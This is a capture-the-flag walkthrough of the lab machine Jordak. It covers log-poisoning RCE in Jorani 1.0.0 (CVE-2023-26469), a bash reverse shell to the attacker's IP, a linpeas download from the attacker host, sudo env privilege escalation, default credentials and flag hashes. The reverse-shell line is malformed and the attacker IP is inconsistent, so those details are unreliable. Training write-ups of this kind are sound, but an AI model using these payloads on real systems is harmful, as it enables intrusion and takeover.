Summary #
On port 80 there is an application called Leave Management System / Jorani v1.0.0
which is vulnerable for CVE-2023-26469, which leverages path traversal to access files and execute code on the server for initial access. Once on the server the user jordak
has sudo access to the /usr/bin/env
binary without a password. This leads to privilege escalation to the root
user.
Specifications #
- Name: JORDAK
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Intermediate
- System overview: Linux jordak 6.8.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Tue Aug 13 13:35:26 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.200.109
- OFFSEC provided credentials: None
- HASH:
local.txt
:bceac90dd41b0d34d379e9724531a111
- HASH:
proof.txt
:1fde45aee18c5075688d78cd9956e27c
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir jordak && cd jordak && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Aug 12 21:14 .
drwxrwxr-x 18 kali kali 4096 Aug 12 21:14 ..
drwxrwxr-x 2 kali kali 4096 Aug 12 21:14 enum
drwxrwxr-x 2 kali kali 4096 Aug 12 21:14 exploits
drwxrwxr-x 2 kali kali 4096 Aug 12 21:14 files
drwxrwxr-x 2 kali kali 4096 Aug 12 21:14 tools
drwxrwxr-x 2 kali kali 4096 Aug 12 21:14 uploads
## set bash variable
ip=192.168.200.109
## ping target to check if it's online
ping $ip
PING 192.168.200.109 (192.168.200.109) 56(84) bytes of data.
64 bytes from 192.168.200.109: icmp_seq=1 ttl=61 time=18.9 ms
64 bytes from 192.168.200.109: icmp_seq=2 ttl=61 time=18.8 ms
^C
--- 192.168.200.109 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 18.757/18.839/18.922/0.082 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Scanning ports: The virtual equivalent of knocking on doors.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.200.109:22
Open 192.168.200.109:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 21:15 CEST
Initiating Ping Scan at 21:15
Scanning 192.168.200.109 [4 ports]
Completed Ping Scan at 21:15, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:15
Completed Parallel DNS resolution of 1 host. at 21:15, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 21:15
Scanning 192.168.200.109 [2 ports]
Discovered open port 80/tcp on 192.168.200.109
Discovered open port 22/tcp on 192.168.200.109
Completed SYN Stealth Scan at 21:15, 0.05s elapsed (2 total ports)
Nmap scan report for 192.168.200.109
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-08-12 21:15:24 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## change directory
cd files
## get a list, comma separated of the open port(s)
cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports
## output previous command
22,80
## move one up
cd ..
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 76:18:f1:19:6b:29:db:da:3d:f6:7b:ab:f4:b5:63:e0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMeGcI7LXAgYpdcxsbgmDh+FrFwBJxUEPxSU4XODxVs1CWLxFnxl1/SZ0ReciCentljLQxi9LqNYvR//3y6kAms=
| 256 cb:d8:d6:ef:82:77:8a:25:32:08:dd:91:96:8d:ab:7d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILE9A0DdfM97fpb5q8N9nmI/9/8rqT8ADRWK8KBegxYM
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.58 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-favicon: Unknown favicon MD5: 96C540E05EFE5C9E11F15DD5CE70BB0F
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.58 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-favicon: Unknown favicon MD5: 96C540E05EFE5C9E11F15DD5CE70BB0F
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.58 (Ubuntu)
As shown in the NMAP output there is an entry called /evox/about
. When we go to this address in the browser (URL: http://192.168.200.109/session/login
) there is an application running called Leave Management System / Jorani v1.0.0
.

Searching online for default credentials of this application (https://jorani.org/download.html) we find bbalet:bbalet
. Using these credentials we can login to the application.

However, we don’t need this to get initial access to the box. Searching for an existing exploit of jorani v1.0.0
, we can find: https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py. We download this exploit locally and run it to get initial access as the jordak
user.
## change directory
cd exploits
## copy the exploit locally
wget https://raw.githubusercontent.com/Orange-Cyberdefense/CVE-repository/refs/heads/master/PoCs/CVE_Jorani.py
--2025-08-12 22:19:20-- https://raw.githubusercontent.com/Orange-Cyberdefense/CVE-repository/refs/heads/master/PoCs/CVE_Jorani.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.109.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2748 (2.7K) [text/plain]
Saving to: ‘CVE_Jorani.py’
CVE_Jorani.py 100%[=====================================>] 2.68K --.-KB/s in 0s
2025-08-12 22:19:20 (14.4 MB/s) - ‘CVE_Jorani.py’ saved [2748/2748]
## run exploit and run the whoaami command
python3 CVE_Jorani.py http://192.168.200.109
/!\ Do not use this if you are not authorized to /!\
[?] POC made by @jrjgjk (Guilhem RIOUX)
[?] Header used for exploit: VDWINAETKRSK
[?] Requesting session cookie
[?] Poisonning log file with payload: '<?php if(isset($_SERVER['HTTP_VDWINAETKRSK'])){system(base64_decode($_SERVER['HTTP_VDWINAETKRSK']));} ?>'
[?] Set path traversal to '../../application/logs'
[+] Recoveredd CSRF Token: 629f3004d390945999cf29eed9f7315f
[?] Accessing log file: log-2025-08-12
jrjgjk@jorani(PSEUDO-TERM)
$ whoami
jordak
To get a proper TTY we can use bash
to get a reverse shell and then upgrade our shell using the script
binary.
## determine location nc binary
$ which bash
/usr/bin/bash
## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.238/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::fe0f:4fa3:2813:c797/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup a local listener
nc -lvnp 9001
listening on [any] 9001 ...
## on the target connect to the local listener
$ /usr/bin/bash -c '/usr/bin/bash -i >& /dev/192.168.45.238/9001 0>&1'
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.238] from (UNKNOWN) [192.168.200.109] 58478
bash: cannot set terminal process group (1345): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
jordak@jordak:/var/www/html$
## determine location script binary
jordak@jordak:/var/www/html$ which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
jordak@jordak:/var/www/html$ export TERM=xterm
jordak@jordak:/var/www/html$ stty columns 200 rows 200
## print `local.txt`
jordak@jordak:/var/www/html$ cat /home/jordak/local.txt
bceac90dd41b0d34d379e9724531a111
Privilege Escalation #
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.200/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::30aa:305d:f0db:c005/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## start local webserver
python3 -m http.server 80
## on target
## change directory
jordak@jordak:/var/www/html$ cd /var/tmp
## download `linpeas.sh`
jordak@jordak:/var/tmp$ wget http://192.168.45.238/linpeas.sh
--2025-08-12 20:32:13-- http://192.168.45.238/linpeas.sh
Connecting to 192.168.45.238:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 0%[ linpeas.sh 100%[=============================================================================================================>] 933.76K --.-KB/s in 0.1s
2025-08-12 20:32:14 (6.32 MB/s) - 'linpeas.sh' saved [956174/956174]
## set the execution bit
jordak@jordak:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
jordak@jordak:/var/tmp$ ./linpeas.sh
The linpeas.sh
output shows that the current user can run the /usr/bin/env
binary using sudo without a password, (ALL) NOPASSWD: /usr/bin/env
. Using GTFOBins we can exploit this misconfiguration and get root access.
## list the commands allowed using sudo
jordak@jordak:/var/tmp$ sudo -l
Matching Defaults entries for jordak on jordak:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jordak may run the following commands on jordak:
(ALL : ALL) ALL
(ALL) NOPASSWD: /usr/bin/env
## escalate our privileges using the `/usr/bin/env` binary
jordak@jordak:/var/tmp$ sudo /usr/bin/env /bin/sh -p
#
## run the `whoami` command
# whoami
root
# cat /root/proof.txt
1fde45aee18c5075688d78cd9956e27c
References #
[+] https://jorani.org/download.html
[+] https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh